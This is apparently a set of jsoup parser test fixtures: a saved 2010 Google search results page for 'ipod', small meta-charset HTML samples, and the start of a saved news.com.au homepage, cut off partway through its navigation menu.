Touch, <em>iPod</em> Classic and <em>iPod</em> <b>...</b><br><cite>www.cnet.com/<b>ipod</b>/ - <span>22 minutes ago - </span></cite><span class=gl><a href=\"http://74.125.153.132/search?q=cache:4kGjltMQJwsJ:www.cnet.com/ipod/+ipod&amp;cd=10&amp;hl=en&amp;ct=clnk\" onmousedown=\"return clk(this.href,'','','clnk','10','')\">Cached</a> - <a href=\"/search?hl=en&amp;q=related:www.cnet.com/ipod/+ipod&amp;sa=X&amp;ei=uYlKS4SbBoGg6gPf-5XXCw&amp;ved=0CEYQHzAJ\">Similar</a></span></div><!--n--><!--m--><li class=g><h3 class=r><a href=\"http://www.ilounge.com/\" class=l onmousedown=\"return clk(this.href,'','','res','11','','0CEgQFjAK')\">All things <em>iPod</em>, iPhone, iTunes and beyond | iLounge</a></h3><div class=\"s\">Includes news, information, reviews, a discussion forum, and tips and tricks for all <em>iPods</em> and iPhones.<br><cite>www.ilounge.com/ - </cite><span class=gl><a href=\"http://74.125.153.132/search?q=cache:CqbO6dHC2eoJ:www.ilounge.com/+ipod&amp;cd=11&amp;hl=en&amp;ct=clnk\" onmousedown=\"return clk(this.href,'','','clnk','11','')\">Cached</a> - <a href=\"/search?hl=en&amp;q=related:www.ilounge.com/+ipod&amp;sa=X&amp;ei=uYlKS4SbBoGg6gPf-5XXCw&amp;ved=0CEkQHzAK\">Similar</a></span></div><!--n--><!--m--><li class=g><h3 class=r><a href=\"http://www.amazon.com/iPod-Computers/b?ie=UTF8&node=13660271\" class=l onmousedown=\"return clk(this.href,'','','res','12','','0CEsQFjAL')\">Amazon.com: <em>iPod</em>: Electronics</a></h3><div class=\"s\">On September 9, Apple launched a host of new <em>iPods</em>, including 18 nanos that now feature a built-in video camera, FM radio, and pedometer; six shuffles in <b>...</b><br><cite>www.amazon.com/<b>iPod</b>-Computers/b?ie=UTF8&amp;node... - </cite><span class=gl><a href=\"http://74.125.153.132/search?q=cache:B-GKtdWb_ggJ:www.amazon.com/iPod-Computers/b%3Fie%3DUTF8%26node%3D13660271+ipod&amp;cd=12&amp;hl=en&amp;ct=clnk\" onmousedown=\"return clk('http://74.125.153.132/search?q=cache:B-GKtdWb_ggJ:www.amazon.com/iPod-Computers/b%3Fie%3DUTF8%26node%3D13660271+ipod&cd=12&hl=en&ct=clnk','','','clnk','12','')\">Cached</a> - <a href=\"/search?hl=en&amp;q=related:www.amazon.com/iPod-Computers/b%3Fie%3DUTF8%26node%3D13660271+ipod&amp;sa=X&amp;ei=uYlKS4SbBoGg6gPf-5XXCw&amp;ved=0CEwQHzAL\">Similar</a></span></div><!--n--><!--m--><li class=g><h3 class=r><a href=\"http://store.apple.com/\" class=l onmousedown=\"return clk(this.href,'','','res','13','','0CE4QFjAM')\">Welcome to the Apple Store - Apple Store (U.S.)</a></h3><div class=\"s\">Shop for Apple computers, compare <em>iPod</em> and iPhone models, and discover Apple and third-party accessories, software, and much more.<br><cite>store.apple.com/ - </cite><span class=gl><a href=\"http://74.125.153.132/search?q=cache:GyR1xOuVipoJ:store.apple.com/+ipod&amp;cd=13&amp;hl=en&amp;ct=clnk\" onmousedown=\"return clk(this.href,'','','clnk','13','')\">Cached</a> - <a href=\"/search?hl=en&amp;q=related:store.apple.com/+ipod&amp;sa=X&amp;ei=uYlKS4SbBoGg6gPf-5XXCw&amp;ved=0CE8QHzAM\">Similar</a></span></div><!--n--><!--m--><li class=g><h3 class=r><a href=\"http://www.savebuckets.co.uk/browse/consumer-electronics/audio-hi-fi/portable-devices/multi-media-players/ipod/\" class=l onmousedown=\"return clk(this.href,'','','res','14','','0CFEQFjAN')\">Cheap <em>iPods</em> - Best Prices <em>iPod</em> &amp; <em>iPod</em> Touch | Save Money</a></h3><div class=\"s\">Savebuckets has an enormous selection of the latest <em>iPods</em>. Compare prices of new generation <em>iPods</em>: Classic, Nano, Shuffle &amp; Touch.<br><cite><span class=bc>www.savebuckets.co.uk &rsaquo; ... &rsaquo; <a href=\"/url?q=http://www.savebuckets.co.uk/browse/consumer-electronics/audio-hi-fi/portable-devices/multi-media-players/&amp;ei=uYlKS4SbBoGg6gPf-5XXCw&amp;sa=X&amp;oi=breadcrumbs&amp;resnum=14&amp;ct=result&amp;cd=1&amp;ved=0CFIQ6QUoAQ&amp;usg=AFQjCNEEsiPMj-pSGDSaqk6CtukkEHRS8A\">Multi Media Players</a></span> - </cite><span class=gl><a href=\"http://74.125.153.132/search?q=cache:T2Q5eM6pBUEJ:www.savebuckets.co.uk/browse/consumer-electronics/audio-hi-fi/portable-devices/multi-media-players/ipod/+ipod&amp;cd=14&amp;hl=en&amp;ct=clnk\" onmousedown=\"return clk(this.href,'','','clnk','14','')\">Cached</a> - <a href=\"/search?hl=en&amp;q=related:www.savebuckets.co.uk/browse/consumer-electronics/audio-hi-fi/portable-devices/multi-media-players/ipod/+ipod&amp;sa=X&amp;ei=uYlKS4SbBoGg6gPf-5XXCw&amp;ved=0CFQQHzAN\">Similar</a></span></div><!--n--><!--m--><li class=g><h3 class=r><a href=\"http://www.blendtec.com/willitblend/videos.aspx?type=unsafe&video=ipod\" class=l onmousedown=\"return clk(this.href,'','','res','15','','0CFYQFjAO')\"><em>iPod</em> - Blendtec - Home of mixers, blenders, grain mills and more</a></h3><div class=\"s\">At WillItBlend.com we take everything but the kitchen sink, stick it in a blender, and ask, will it blend?<br><cite>www.blendtec.com/willitblend/videos.aspx?type=unsafe...<b>ipod</b> - </cite><span class=gl><a href=\"http://74.125.153.132/search?q=cache:lm5bd9lEZlcJ:www.blendtec.com/willitblend/videos.aspx%3Ftype%3Dunsafe%26video%3Dipod+ipod&amp;cd=15&amp;hl=en&amp;ct=clnk\" onmousedown=\"return clk('http://74.125.153.132/search?q=cache:lm5bd9lEZlcJ:www.blendtec.com/willitblend/videos.aspx%3Ftype%3Dunsafe%26video%3Dipod+ipod&cd=15&hl=en&ct=clnk','','','clnk','15','')\">Cached</a></span></div><!--n--><!--m--><li class=g><h3 class=r><a href=\"http://ipodlinux.org/\" class=l onmousedown=\"return clk(this.href,'','','res','16','','0CFgQFjAP')\">iPodLinux :: Home</a></h3><div class=\"s\">6 Mar 2009 <b>...</b> October 10, 2009. 2:20 pm, The broken dates are now fixed on our website. Forums and Wiki are working as expected again! <b>...</b><br><cite><b>ipod</b>linux.org/ - </cite><span class=gl><a href=\"http://74.125.153.132/search?q=cache:VuikJc1beWcJ:ipodlinux.org/+ipod&amp;cd=16&amp;hl=en&amp;ct=clnk\" onmousedown=\"return clk(this.href,'','','clnk','16','')\">Cached</a></span></div><!--n--></ol></div><!--z--><div class=e><table class=\"ts std\" id=brs style=\"padding:0 0 1em\"><caption class=\"med nobr\"style=\"padding-bottom:6px;text-align:left\">Searches related to <em>ipod</em></caption><tr><td style=\"padding:0 0 7px;padding-right:34px;vertical-align:top\"><a href=\"/search?hl=en&amp;q=ipod+nano&amp;revid=970410033&amp;ei=uYlKS4SbBoGg6gPf-5XXCw&amp;sa=X&amp;oi=revisions_inline&amp;resnum=0&amp;ct=broad-revision&amp;cd=1&amp;ved=0CFsQ1QIoAA\">ipod <b>nano</b></a><td style=\"padding:0 0 7px;padding-right:34px;vertical-align:top\"><a href=\"/search?hl=en&amp;q=ipod+touch&amp;revid=970410033&amp;ei=uYlKS4SbBoGg6gPf-5XXCw&amp;sa=X&amp;oi=revisions_inline&amp;resnum=0&amp;ct=broad-revision&amp;cd=2&amp;ved=0CFwQ1QIoAQ\">ipod <b>touch</b></a><td style=\"padding:0 0 7px;padding-right:34px;vertical-align:top\"><a href=\"/search?hl=en&amp;q=ipod+best+buy&amp;revid=970410033&amp;ei=uYlKS4SbBoGg6gPf-5XXCw&amp;sa=X&amp;oi=revisions_inline&amp;resnum=0&amp;ct=broad-revision&amp;cd=3&amp;ved=0CF0Q1QIoAg\">ipod <b>best buy</b></a><td style=\"padding:0 0 7px;padding-right:34px;vertical-align:top\"><a href=\"/search?hl=en&amp;q=ipod+shuffle&amp;revid=970410033&amp;ei=uYlKS4SbBoGg6gPf-5XXCw&amp;sa=X&amp;oi=revisions_inline&amp;resnum=0&amp;ct=broad-revision&amp;cd=4&amp;ved=0CF4Q1QIoAw\">ipod <b>shuffle</b></a><tr><td style=\"padding:0 0 7px;padding-right:34px;vertical-align:top\"><a href=\"/search?hl=en&amp;q=ipod+support&amp;revid=970410033&amp;ei=uYlKS4SbBoGg6gPf-5XXCw&amp;sa=X&amp;oi=revisions_inline&amp;resnum=0&amp;ct=broad-revision&amp;cd=5&amp;ved=0CF8Q1QIoBA\">ipod <b>support</b></a><td style=\"padding:0 0 7px;padding-right:34px;vertical-align:top\"><a href=\"/search?hl=en&amp;q=ipod+classic&amp;revid=970410033&amp;ei=uYlKS4SbBoGg6gPf-5XXCw&amp;sa=X&amp;oi=revisions_inline&amp;resnum=0&amp;ct=broad-revision&amp;cd=6&amp;ved=0CGAQ1QIoBQ\">ipod <b>classic</b></a><td style=\"padding:0 0 7px;padding-right:34px;vertical-align:top\"><a href=\"/search?hl=en&amp;q=itunes&amp;revid=970410033&amp;ei=uYlKS4SbBoGg6gPf-5XXCw&amp;sa=X&amp;oi=revisions_inline&amp;resnum=0&amp;ct=broad-revision&amp;cd=7&amp;ved=0CGEQ1QIoBg\"><b>itunes</b></a><td style=\"padding:0 0 7px;padding-right:34px;vertical-align:top\"><a href=\"/search?hl=en&amp;q=apple&amp;revid=970410033&amp;ei=uYlKS4SbBoGg6gPf-5XXCw&amp;sa=X&amp;oi=revisions_inline&amp;resnum=0&amp;ct=broad-revision&amp;cd=8&amp;ved=0CGIQ1QIoBw\"><b>apple</b></a></table></div></div><br clear=\"all\"/><div id=navcnt><table id=nav align=center style=\"border-collapse:collapse;margin:auto;text-align:center;direction:ltr;margin-bottom:1.4em\"><tr valign=top><td class=b><span class=\"csb\" style=\"background-position:-26px 0;width:18px\"></span><td class=cur><span class=\"csb\" style=\"background-position:-44px 0;width:16px\"></span>1<td><a href=\"/search?hl=en&amp;q=ipod&amp;start=10&amp;sa=N\"><span class=\"csb ch\" style=\"background-position:-60px 0;width:16px\"></span>2</a><td><a href=\"/search?hl=en&amp;q=ipod&amp;start=20&amp;sa=N\"><span class=\"csb ch\" style=\"background-position:-60px 0;width:16px\"></span>3</a><td><a href=\"/search?hl=en&amp;q=ipod&amp;start=30&amp;sa=N\"><span class=\"csb ch\" style=\"background-position:-60px 0;width:16px\"></span>4</a><td><a href=\"/search?hl=en&amp;q=ipod&amp;start=40&amp;sa=N\"><span class=\"csb ch\" style=\"background-position:-60px 0;width:16px\"></span>5</a><td><a href=\"/search?hl=en&amp;q=ipod&amp;start=50&amp;sa=N\"><span class=\"csb ch\" style=\"background-position:-60px 0;width:16px\"></span>6</a><td><a href=\"/search?hl=en&amp;q=ipod&amp;start=60&amp;sa=N\"><span class=\"csb ch\" style=\"background-position:-60px 0;width:16px\"></span>7</a><td><a href=\"/search?hl=en&amp;q=ipod&amp;start=70&amp;sa=N\"><span class=\"csb ch\" style=\"background-position:-60px 0;width:16px\"></span>8</a><td><a href=\"/search?hl=en&amp;q=ipod&amp;start=80&amp;sa=N\"><span class=\"csb ch\" style=\"background-position:-60px 0;width:16px\"></span>9</a><td><a href=\"/search?hl=en&amp;q=ipod&amp;start=90&amp;sa=N\"><span class=\"csb ch\" style=\"background-position:-60px 0;width:16px\"></span>10</a><td class=b><a href=\"/search?hl=en&amp;q=ipod&amp;start=10&amp;sa=N\"><span class=\"csb ch\" style=\"background-position:-76px 0;margin-right:34px;width:66px\"></span>Next</a></table></div><div style=\"height:1px;line-height:0\"></div><div style=\"text-align:center;margin-top:1.4em\" class=clr><div id=bsf style=\"padding:1.8em 0;margin-top:0\"><form method=get action=\"/search\"><div><input class=lst type=text name=q size=41 maxlength=2048 value=\"ipod\" title=\"Search\"> <input type=submit name=\"btnG\" class=lsb style=\"margin:0 2px 0 5px\" value=\"Search\"><input type=hidden name=hl value=\"en\"><input type=hidden name=sa value=\"2\"></div></form><p style=\"margin:1.2em 0 0\"><a href=\"/swr?q=ipod&amp;hl=en&amp;swrnum=281000000\">Search&nbsp;within&nbsp;results</a> - <a href=\"/language_tools?q=ipod&amp;hl=en\">Language Tools</a> - <a href=\"/support/websearch/bin/answer.py?answer=134479&amp;hl=en\">Search Help</a> - <a href=\"/quality_form?q=ipod&amp;hl=en\" target=_blank>Dissatisfied? Help us improve</a> - <a href=\"/experimental/\">Try Google Experimental</a></div><p id=flp><a href=\"/\">Google&nbsp;Home</a> - <a href=\"/intl/en/ads/\">Advertising&nbsp;Programs</a> - <a href=\"/services/\">Business Solutions</a> - <a href=\"/intl/en/privacy.html\">Privacy</a> - <a href=\"/intl/en/about.html\">About Google</a></p></div><textarea style=\"display:none\" id=hcache></textarea><div id=xjsd></div><div id=xjsi><script>if(google.y)google.y.first=[];if(google.y)google.y.first=[];google.dstr=[];google.rein=[];window.setTimeout(function(){var a=document.createElement(\"script\");a.src=\"/extern_js/f/CgJlbiswCjhMQAgsKzAOOAssKzAWOBcsKzAXOAUsKzAYOAQsKzAZOA0sKzAlOMmIASwrMCY4CSwrMCc4AiwrMDw4AiwrMEA4BSwrMEQ4ACwrMEU4ASw/b4CuTnunU9w.js\";(document.getElementById(\"xjsd\")||document.body).appendChild(a);if(google.timers&&google.timers.load.t)google.timers.load.t.xjsls=(new Date).getTime();},0);\n;window.mbtb1={tbs:\"\",docid:\"15214478937701464389\",usg:\"b6a0\",obd:false};google.base_href='/search?hl\\x3den\\x26q\\x3dipod';google.y.first.push(function(){google.ac.m=1;google.ac.b=true;google.ac.i(document.gs,document.gs.q,'','ipod');google.riu={render:function(){window.setTimeout(function(){var a=document.createElement(\"script\");a.src=\"/extern_js/f/CgJlbiswPzgCLA/KB1t0AeW2FM.js\";(document.getElementById(\"xjsd\")||document.body).appendChild(a);},0);\n}};});if(google.j&&google.j.en&&google.j.xi){window.setTimeout(google.j.xi,0);google.fade=null;}</script></div><script>(function(){\nfunction a(){google.timers.load.t.ol=(new Date).getTime();google.report&&google.timers.load.t.xjs&&google.report(google.timers.load,google.kCSI)}if(window.addEventListener)window.addEventListener(\"load\",a,false);else if(window.attachEvent)window.attachEvent(\"onload\",a);google.timers.load.t.prt=(new Date).getTime();\n})();\n</script></div>  "
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/test/resources/htmltests/meta-charset-1.html",
    "content": "<html>\n<head><meta charset=\"gb2312\"></head>\n<body></body>\n</html>"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/test/resources/htmltests/meta-charset-2.html",
    "content": "<html>\n<head></head>\n<body></body>\n</html>"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/test/resources/htmltests/meta-charset-3.html",
    "content": "<html>\n<head></head>\n<body>新</body>\n</html>"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/test/resources/htmltests/news-com-au-home.html",
    "content": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en-au\" lang=\"en-au\">\n<head>\n    <!-- Page: News.com.au Top Stories (1225688434416) -->\n        <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n\t\t\t\t<title>News.com.au | News from Australia and around the world online | NewsComAu</title>\n\t\t\t\t\t<meta name=\"description\" content=\"News from Australia and the world, featuring the latest national, world, business, sport, entertainment and technology news. Drawing on News Limited&#039;s worldwide resources and newspapers. \" />\n\t\t\t\t\t\t<meta name=\"keywords\" content=\"News, Breaking News, Latest News, Australia News, World News, Video\" />\n\t\t\t\t<meta http-equiv=\"refresh\" content=\"240\" />\n\t\t<script type=\"text/javascript\">\n\t\t\t//<![CDATA[\n\t\t\t\tvar overrideNdmPageSite, overrideNdmPageUs, overridePageType, overrideNdmPageAdsenseGoogleAdClient, overrideNdmPageAdsenseGoogleAdChannel;\n\t\t\t//]]>\n\t\t</script>\n\t\t<!-- Fragment for [] on [fwprodcontent03.ni.news.com.au] @ [January 11, 2010 12:48PM] [cb:null] -->\n\t<!-- Site includes [NewsComAu:null] last generated at Mon Jan 11 12:48:13 EST 2010 -->\n\t\t\t            \t\t<link rel=\"stylesheet\" media=\"screen\" type=\"text/css\" href=\"http://resources2.news.com.au/cs/newscomau/css/skin.css\" />\n\t\t\t            \t\t<link rel=\"stylesheet\" media=\"print\" type=\"text/css\" href=\"http://resources2.news.com.au/cs/newscomau/css/print.css\" />\n\t\t\t            \t\t<!--[if IE 6]><link rel=\"stylesheet\" media=\"screen\" type=\"text/css\" href=\"http://resources2.news.com.au/cs/newscomau/css/ie6.css\" /><![endif]-->\n\t\t\t            \t\t<!--[if IE 7]><link rel=\"stylesheet\" media=\"screen\" type=\"text/css\" href=\"http://resources2.news.com.au/cs/newscomau/css/ie7.css\" /><![endif]-->\n\t\t\t            \t\t<link rel=\"stylesheet\" media=\"screen\" type=\"text/css\" href=\"http://resources2.news.com.au/cs/newscomau/css/promotions/2009/11-nov/noughties/noughties.css\" />\n\t\t\t            \t\t<link rel=\"stylesheet\" media=\"screen\" type=\"text/css\" href=\"http://resources2.news.com.au/cs/newscomau/css/promotions/2009/11-nov/lindt/lindt.css\" />\n\t\t\t            \t\t<link rel=\"stylesheet\" media=\"screen\" type=\"text/css\" href=\"http://resources2.news.com.au/cs/newscomau/css/promotions/2009/12-dec/christmas/christmas.css\" />\n\t\t\t            \t\t<script type=\"text/javascript\" src=\"http://resources1.news.com.au/cs/js/tanto-min.js\"></script>\n\t\t\t            \t\t<script type=\"text/javascript\" src=\"http://resources.news.com.au/cs/js/network-3rdpartylibs-min.js\"></script>\n\t\t\t            \t\t<script type=\"text/javascript\" src=\"http://resources1.news.com.au/cs/js/base-modules-min.js\"></script>\n\t\t\t            \t\t<script type=\"text/javascript\" src=\"http://resources1.news.com.au/cs/js/site-newscomau-min.js\"></script>\n\t\t\t            \t\t<script type=\"text/javascript\" src=\"http://media.news.com.au/tracking/ndm.track.js\"></script>\n\t\t\t            \t\t<link rel=\"stylesheet\" media=\"print\" type=\"text/css\" href=\"http://resources2.news.com.au/cs/travel/css/print.css\" />\n\t\t<script type=\"text/javascript\" src=\"http://sops.news.com.au/adkit/js/kit.js\"></script>\n\t\t<script type=\"text/javascript\">\n\t\t\t//<![CDATA[\n\t\t\tndm.page.section = \"HOME\";\n\t\t\t//]]>\n\t\t</script>\n\n\t<!-- Page includes [1225688434416:null] last generated at Mon Jan 11 12:48:13 EST 2010 -->\n\t\t<script type=\"text/javascript\">\n\t\t\t//<![CDATA[\n\t\t\t\tndm.page.vignstoryid = \"\";\n\t\t\t\tndm.page.site \t\t= overrideNdmPageSite \t|| \"NEWS\";\n\t\t\t\tndm.page.us  \t\t= overrideNdmPageUs\t\t|| \"ndmnews\";\n\t\t\t\tndm.page.runads \t= true;\n\t\t\t\tndm.page.adstyles \t= \"auto\";\n\t\t\t\tndm.page.type \t\t= overridePageType\t\t|| \"homepage\";\n\t\t\t\tndm.page.hbx.account = \"\";\n\t\t\t\tndm.page.hbx.gateway = \"\";\n\t\t\t\tndm.page.hbx.domain = \"\";\n\t\t\t\tndm.page.hbx.pn = \"\";\n\t\t\t\tndm.page.hbx.mlc = \"\";\n\t\t\t\tndm.page.adsense.google_ad_client \t= overrideNdmPageAdsenseGoogleAdClient || \"ca-nd-news_js\";\n\t\t\t\tndm.page.adsense.google_ad_channel \t= overrideNdmPageAdsenseGoogleAdChannel || \"homepage\";\n\t\t\t\tndm.page.adsense.google_ad_section  = \"\";\n\t\t\t\tndm.page.nielsen = \"manual\";\n\t\t\t\t//ndm.page.nielsen.ci = \"newscorp\";\n\t\t\t\t//ndm.page.nielsen.cg = \"\";\n\t\t\t\tndm.page.setup();\n\t\t\t//]]>\n\t\t</script>\n <meta http-equiv=\"X-UA-Compatible\" content=\"IE=8\" />\n <meta name=\"robots\" content=\"noarchive\" />\n <link rel=\"shortcut icon\" href=\"http://resources.news.com.au/cs/newscomau/images/favicon.ico\" type=\"image/x-icon\" />\n <link rel=\"icon\" href=\"http://resources.news.com.au/cs/newscomau/images/favicon.ico\" type=\"image/x-icon\" />\n</head>\n<body class=\"newscomau homepage no-js\">\n<div id=\"page\">\n<div class=\"ad ad-header\">\n\t<div class=\"ndmadkit ndmadkit-header\"><script type=\"text/javascript\">ndm.kit.header();</script></div><!-- // .ndmadkit -->\n    <div class=\"ndmadkit ndmadkit-header\"><script type=\"text/javascript\">ndm.kit.header();</script></div><!-- // .ndmadkit -->\n    <div class=\"ndmadkit ndmadkit-header\"><script type=\"text/javascript\">ndm.kit.header();</script></div><!-- // .ndmadkit -->\n</div>\n<div id=\"skip-links\">\n\t<dl class=\"skip\">\n\t\t<dt>Skip to:</dt>\n\t\t\t<dd class=\"first\"><a href=\"#content\">Main Content</a></dd>\n\t\t\t<dd><a href=\"#nav\">Site Navigation</a></dd>\n\t\t\t<dd><a href=\"#footer\">Site Footer</a></dd>\n\t\t\t<dd><a href=\"#site-search\">Site Search</a></dd>\n\t\t\t<dd><a href=\"/help/sitemap/\">Site Map</a></dd>\n\t\t\t<dd><a href=\"#network-bar\">Network Navigation (other sites)</a></dd>\n\t</dl><!-- .skip -->\n</div><!-- // #skip-links -->\n<div id=\"network-bar\">\n\t\t<dl class=\"network-bar-links\">\n\t\t\t<dt class=\" first last\">Network Links</dt>\n\t\t\t\t\t<dd class=\"first  \"><a href=\"http://www.news.com.au\" rel=\"track-nin-news\">news.com.au</a></dd>\n\t\t\t\t\t<dd ><a href=\"http://www.foxsports.com.au\" rel=\"track-nin-news\">FOXSPORTS</a></dd>\n\t\t\t\t\t<dd ><a href=\"http://www.news.com.au/network/\" rel=\"track-nin-news\">Newspapers</a></dd>\n\t\t\t\t\t<dd ><a href=\"http://www.careerone.com.au/\" rel=\"track-nin-news\">CareerOne</a></dd>\n\t\t\t\t\t<dd ><a href=\"http://www.carsguide.com.au/\" rel=\"track-nin-news\">carsguide</a></dd>\n\t\t\t\t\t<dd ><a href=\"http://www.truelocal.com.au\" rel=\"track-nin-news\">TrueLocal</a></dd>\n\t\t\t\t\t<dd ><a href=\"http://www.realestate.com.au\" rel=\"track-nin-news\">RealEstate</a></dd>\n\t\t\t\t\t<dd class=\" last \"><a href=\"http://au.myspace.com\" rel=\"track-nin-news\">MySpace AU</a></dd>\n</dl><!-- // .network-bar-links -->\n\n</div><!-- // #network-bar -->\n<div id=\"header\" >\n\n\t<div id=\"header-logo\">\n\t\t\t\t<h1>News.com.au</h1>\n\t</div><!-- // #header-logo -->\n\t<div id=\"header-ads\">\n\t\t<div class=\"ad ad-leaderboard\">\n\t\t\t<div class=\"ndmadkit ndmadkit-leaderboard\"><script type=\"text/javascript\">ndm.kit.leaderboard();</script></div><!-- // .ndmadkit -->\n\t\t\t<div class=\"ndmadkit ndmadkit-leaderboard\"><script type=\"text/javascript\">ndm.kit.leaderboard();</script></div><!-- // .ndmadkit -->\n\t\t\t<div class=\"ndmadkit ndmadkit-leaderboard\"><script type=\"text/javascript\">ndm.kit.leaderboard();</script></div><!-- // .ndmadkit -->\n\t\t</div><!-- // .ad .ad-leaderboard -->\n\t</div><!-- // #header-ads -->\n</div><!-- // #header -->\n\t<div id=\"nav\">\n\t\t<ul id=\"nav-wrap\">\n\t\t\t\t<li id=\"nav-level1\">\n\t\t\t\t\t<ul class=\"nav-list tier-1\">\n\t\t\t<li class=\"nav-news active first \">\n\t\t\t\t\t\t<a href=\"/\">News</a>\n\t\t\t</li>\n\t\t\t<li class=\"nav-business   \">\n\t\t\t\t\t\t<a href=\"/business\">Business</a>\n\t<ul class=\"nav-list tier-2\">\n\t\t\t<li class=\"  first \">\n\t\t\t\t\t\t<a href=\"/business/breaking-news\">Breaking News</a>\n\t\t\t</li>\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"/business/markets\">Markets</a>\n\t\t\t</li>\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"/money/money-matters\">Money &amp; Me</a>\n\t\t\t</li>\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"/business/business-smarts\">Business Smarts</a>\n\t\t\t</li>\n\t\t\t<li class=\"   last\">\n\t\t\t\t\t\t<a href=\"/business/archive\">Archive</a>\n\t\t\t</li>\n\t</ul> <!-- // .tier-2 -->\n\t\t\t</li>\n\t\t\t<li class=\"nav-money   \">\n\t\t\t\t\t\t<a href=\"/money\">Money</a>\n\t<ul class=\"nav-list tier-2\">\n\t\t\t<li class=\"  first \">\n\t\t\t\t\t\t<a href=\"/money/banking\">Banking</a>\n\t\t\t</li>\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"/money/property\">Property</a>\n\t\t\t</li>\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"/money/money-matters\">Money &amp; Me</a>\n\t\t\t</li>\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"/money/superannuation\">Superannuation</a>\n\t\t\t</li>\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"/money/investing\">Investing</a>\n\t\t\t</li>\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"/money/guides-tools\">Guides &amp; Tools</a>\n\t\t\t</li>\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"http://blogs.news.com.au/moneystuff/index.php/news/blogs_overview\">Blogs</a>\n\t\t\t</li>\n\t\t\t<li class=\"   last\">\n\t\t\t\t\t\t<a href=\"/money/interest-rates\">Interest Rates</a>\n\t\t\t</li>\n\t</ul> <!-- // .tier-2 -->\n\t\t\t</li>\n\t\t\t<li class=\"nav-entertainment   \">\n\t\t\t\t\t\t<a href=\"/entertainment\">Entertainment</a>\n\t<ul class=\"nav-list tier-2\">\n\t\t\t<li class=\"  first \">\n\t\t\t\t\t\t<a href=\"/entertainment/celebrity\">Celebrity</a>\n\t\t\t</li>\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"/entertainment/movies\">Movies</a>\n\t\t\t</li>\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"/entertainment/television\">TV</a>\n\t\t\t</li>\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"/entertainment/music\">Music</a>\n\t\t\t</li>\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"/entertainment/fashion\">Fashion</a>\n\t\t\t</li>\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"/entertainment/horoscopes\">Horoscopes</a>\n\t\t\t</li>\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"/entertainment/body-soul\">body+soul</a>\n\t\t\t</li>\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"/entertainment/puzzles\">Puzzles</a>\n\t\t\t</li>\n\t\t\t<li class=\"   last\">\n\t\t\t\t\t\t<a href=\"/entertainment/multimedia\">Multimedia</a>\n\t\t\t</li>\n\t</ul> <!-- // .tier-2 -->\n\t\t\t</li>\n\t\t\t<li class=\"nav-travel   \">\n\t\t\t\t\t\t<a href=\"/travel\">Travel</a>\n\t<ul class=\"nav-list tier-2\">\n\t\t\t<li class=\"  first \">\n\t\t\t\t\t\t<a href=\"/travel/news\">Travel News</a>\n\t\t\t</li>\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"/travel/australia\">Australia</a>\n\t\t\t</li>\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"/travel/world\">World</a>\n\t\t\t</li>\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"/travel/holiday-ideas\">Holiday Ideas</a>\n\t\t\t</li>\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"http://holidaydeals.news.com.au/\">Holiday Deals</a>\n\t\t\t</li>\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"http://travelactivities.news.com.au/\">Activities</a>\n\t\t\t</li>\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"/travel/travel-advice\">Travel Advice</a>\n\t\t\t</li>\n\t\t\t<li class=\"   last\">\n\t\t\t\t\t\t<a href=\"/travel/galleries\">Galleries</a>\n\t\t\t</li>\n\t</ul> <!-- // .tier-2 -->\n\t\t\t</li>\n\t\t\t<li class=\"nav-technology   \">\n\t\t\t\t\t\t<a href=\"/technology\">Technology</a>\n\t<ul class=\"nav-list tier-2\">\n\t\t\t<li class=\"  first \">\n\t\t\t\t\t\t<a href=\"/technology\">Tech News</a>\n\t\t\t</li>\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"/technology/reviews\">Reviews</a>\n\t\t\t</li>\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"/technology/guides/buying-a-laptop-beginners-guide/story-e6frfrui-1111118744566\">Guides</a>\n\t\t\t</li>\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"/technology/features\">Features</a>\n\t\t\t</li>\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"http://blogs.news.com.au/techblog/\">Tech Blogs</a>\n\t\t\t</li>\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"http://www.careerone.com.au/it-telecommunications-jobs\">IT Jobs</a>\n\t\t\t</li>\n\t\t\t<li class=\"   last\">\n\t\t\t\t\t\t<a href=\"/technology/galleries\">Galleries</a>\n\t\t\t</li>\n\t</ul> <!-- // .tier-2 -->\n\t\t\t</li>\n\t\t\t<li class=\"nav-blog   \">\n\t\t\t\t\t\t<a href=\"/blogs\">Blogs </a>\n\t\t\t</li>\n\t\t\t<li class=\"nav-video   \">\n\t\t\t\t\t\t<a href=\"http://player.video.news.com.au/news/\">Video </a>\n\t\t\t</li>\n\t\t\t<li class=\"nav-australian-it   \">\n\t\t\t\t\t\t<a href=\"http://www.australianit.news.com.au/\">AUSTRALIAN IT </a>\n\t\t\t</li>\n\t\t\t<li class=\"nav-fox-sports   